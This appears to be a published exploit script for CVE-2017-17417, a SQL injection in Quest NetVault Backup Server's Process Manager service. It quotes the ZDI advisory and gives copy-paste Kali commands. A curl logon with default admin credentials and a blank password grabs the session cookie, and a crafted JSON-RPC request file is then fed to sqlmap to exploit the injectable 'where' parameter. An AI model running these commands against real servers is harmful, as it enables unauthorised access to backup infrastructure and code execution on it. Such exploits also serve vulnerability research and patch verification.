# Exploit Title: Quest NetVault Backup Server < 11.4.5 Process Manager Service SQL Injection Remote Code Execution Vulnerability (ZDI-17-982) # Date: 2-21-2019 # Exploit Author: credit goes to rgod for finding the bug # Version: Quest NetVault Backup Server < 11.4.5 # CVE : CVE-2017-17417 # There is a decent description of the bug here: https://www.zerodayinitiative.com/advisories/ZDI-17-982/ # but no PoC, hence this submission. Also the description states that authentication is not required. # I did not find the auth bypass, but the target was using default credz # of admin and a blank password. # # "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations # of Quest NetVault Backup. Authentication is not required to exploit this vulnerability. # # The specific flaw exists within the handling of NVBUPhaseStatus Acknowledge method requests. # The issue results from the lack of proper validation of a # user-supplied string before using it to construct SQL queries. An attacker can leverage this # vulnerability to execute code in the context of the underlying database." # Fill out the variables then copy paste everything below this line into a kali terminal #target ip address target=x.x.x.x #target port port=8443 #username username=admin #password is blank by default! password= cookie=$(curl -i -s -k -X $'POST' -H $'Content-Length: 109' -H $'Content-Type: application/json-rpc; charset=UTF-8' --data-binary "{\"jsonrpc\":\"2.0\",\"method\":\"Logon\",\"params\":{\"OutputFormat\":\"pretty\",\"UserName\":\"$username\",\"Password\":\"$password\"},\"id\":1}" "https://$target:$port/query" | grep SessionCookie | cut -d '"' -f4) cat > dellSqlmap <<EOF POST /query HTTP/1.1 Host: $target:$port Connection: close Content-Length: 129 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest SessionCookie: $cookie Content-Type: application/json-rpc; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 {"jsonrpc":"2.0","method":"GET","params":{"classname":"NVBUPhaseStatus","updates":"none","where":"1=1*"},"id":1} EOF sqlmap -r dellSqlmap --force-ssl --level=5 --dbms=postgresql --prefix='' --suffix='' --test-filter='AND boolean-based blind - WHERE or HAVING clause' --batch |
